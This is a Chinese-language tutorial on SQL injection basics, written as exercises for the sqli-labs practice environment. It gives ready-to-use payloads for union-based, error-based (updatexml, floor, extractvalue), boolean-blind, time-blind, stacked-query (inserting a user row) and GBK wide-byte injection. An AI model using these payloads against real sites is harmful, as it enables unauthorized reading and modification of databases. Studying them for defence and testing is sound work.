SQL注入基礎

2021-10-25 10:25:51 字數 4031 閱讀 2944

聯合查詢

報錯注入

布林盲注

時間盲注

堆疊查詢

寬位元組注入

二次注入

結語當程式設計師在編寫sql語言時直接將使用者的輸入與sql語言進行連線,並且沒有對使用者的輸入進行足夠的過濾,使得使用者可以通過注入惡意的sql語句,從而修改資料庫中的原有資訊,獲得**的webshell,以及產生後門等一系列惡意操作。

基本注入方式

注入的條件

沒有對應條件的解決辦法

聯合查詢

頁面有回顯

下一方法

報錯注入

頁面有報錯

下一方法

布林盲注

頁面有布林型別狀態

下一方法

時間盲注

頁面無前三種狀態絕招

基本注入方式

注入條件

堆疊查詢

開啟多語句查詢

寬位元組注入

mysql使用gbk編碼

二次注入

特殊情況下

(以下playload可以在sqli-labs中實現)

1.判斷屬於字元型還是數字型閉合

使用 ?id=1』

如果數字1出現在報錯資訊中則為字元型(如果?id=1』後面出現雙引號(『』1』」),則為雙引號閉合。如果出現單引號(『1』』),則為單引號閉合)。

如果1沒有出現,則為數字型閉合。

2.判斷字段個數column(聯合查詢)

閉合前一條sql語句,使用order by(按字段數進行排序)判斷列數。

例如:

?id=

1』 order by 1--+

?id=

1』 order by 4

--+

當輸入的數字大於欄位數時,系統就會報出錯誤(unknown column)。

3.閉合前後的sql語句

1)使用第一步中測試出的引號來閉合前面的sql語句。

例如單引號閉合: ?id=1』

2)對於後面的語句就使用注釋來進行閉合。

常見的注釋語句:

1)–+

2)#3)/* … */

或者使用閉合單引號的方法來閉合後面的sql語句:

例如

// palyload:

?id=

404' or '

1'='

1

4.判斷注入顯示位置

palyload: ?id=-1』 union select 1,2,3–+

檢視頁面中數字出現的位置,即為注入顯示的位置。

聯合查詢使用union 操作符合併兩個或多個 select 語句的結果集。union 內部的 select 語句必須擁有相同數量的列,列也必須擁有相似的資料型別。同時,每條select語句中的列的順序必須相同。此外聯合查詢的兩條結果,系統預設只顯示第一條,所以需要將第一條sql語句置為假,才會顯示第二條語句的內容。

例:playload: ?id=-1』 union select 1,user(),version()–+

或者 ?id=1』 and 1=2 union select 1,user(),version() --+

常見的報錯注入:

updatexml報錯(xpath報錯):

playload: ?id=1』 and updatexml(1,concat(0x7e,(select version()),0x7e),1)–+

floor報錯

palyload:?id=1』 and(select 1 from(select count(*),concat((select(select(select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+

extractvalue報錯(xpath報錯)

palyload:?id=1』 and extractvalue(1,concat(0x7e,(select @@version),0x7e))

布林盲注常用函式:

substr:字串擷取函式。substr(str,start,length).

ascii(char):將字串轉換成ascii碼。

判斷資料庫長度

palyload: ?id=1』 and length(database())=8 --+

猜測資料庫名的第一位

(第二位為database(),2,1 以此類推)

palyload:?id=1』 and ascii(substr(database(),1,1))=115 --+

時間盲注常用函式:

if(cond,ture_result,flase_result):cond為判斷條件,ture_result為真時返回的結果,false_result為假時返回的結果。

通常使用if配合ascii,substr函式來實現時間盲注

判斷閉合型別

palyload: ?id=1』 and sleep(5) --+

(為』閉合時延時5s,否則沒有)

更改』為」,測試是否為」注入,結果與上面相同。

猜測資料庫名第一位

palyload: ?id=1』 and if(ascii(substr(database(),1,1))=115,sleep(5),2)–+

(猜測版本的第一位是否為s,如果正常則返回sleep(5),使得介面延時5s。反正則不會。)

猜測第二位為(database(),2,1)以此類推

根據上述palyload,可以猜測其他資訊。

我們知道在mysql中,主要是命令列中,每一條語句結尾加上 ;

當目標開啟了多語句查詢時,可以使用堆疊查詢:

試想一下我們在 ; 結束乙個sql語句後繼續構造下一條語句,會不會一起執行?因此這個想法也就造就了堆疊注入。

而union injection(聯合查詢)也是將兩條語句合併在一起,兩者之間有什麼區別麼?

區別就在於union 或者union all執行的語句型別是有限的,可以用來執行查詢語句,而堆疊注入可以執行的是任意的語句。

例如:插入使用者:

palyload: ?1』 ; insert into users(id,username,password) values(『11』,『11』,『11』) --+

原理:mysql 在使用 gbk 編碼的時候,會認為兩個字元為乙個漢字,例如%aa%5c 就是乙個漢字(前乙個 ascii 碼大於 128 才能到漢字的範圍)。我們在過濾 』 的時候,往往利用的思路是將 『 轉換為 \』。

因此我們在此想辦法將 『 前面新增的 \ 除掉,一般有兩種思路:

1)%df 吃掉 \

例如 urlencode(『) = %5c%27,我們在%5c%27 前面新增%df,形成%df%5c%27,而上面提到的 mysql 在 gbk 編碼方式的時候會將兩個位元組當做乙個漢字,此時%df%5c 就是乙個漢字,%27 則作為乙個單獨的符號在外面,同時也就達到了我們的目的。

2)將 \』 中的 \ 過濾掉,例如可以構造 %**%5c%5c%27 的情況,後面的%5c 會被前面的%5c給注釋掉。這也是 bypass 的一種方法。

例:palyload : ?id=-1%df%27 union select 1,user(),3–+

二次注入是指輸入提交的語句,無法直接對 web 應用程式產生影響,而是先注入到資料庫中,再通過讀取資料庫的操作對 web 產生危害,這樣的注入就被稱為是二次注入。二次注入較為複雜這裡不進行詳細介紹。

sql注入基礎

mysqli 轉義字串函式 mysqli real escape string db,string mysqli 預編譯 拼裝sql語句 把要進行的操作的sql語句提前寫好,把需要改變的元素變成佔位符 select id,username from user where user name and ...

SQL注入基礎

最為經典的單引號判斷法 在引數後面加上單引號,比如 abc.php?id 1 如果頁面返回錯誤,則存在 sql 注入。原因是無論字元型還是整型都會因為單引號個數不匹配而報錯。如果未報錯,不代表不存在 sql 注入,因為有可能頁面對單引號做了過濾,這時可以使用判斷語句進行注入。其實所有的型別都是根據資...

SQL注入基礎

為了堅持而堅持,是撐不了多久的。sql注入就是指web應用程式對使用者輸入資料的合法性沒有判斷,前端傳入後端的引數是攻擊者可控的,並且引數代入資料庫查詢,攻擊者通過把sql命令插入到web表單提交或輸入網域名稱或頁面請求的查詢字串,最終達到欺騙伺服器執行惡意的sql命令。sql注入漏洞的產生要滿足兩...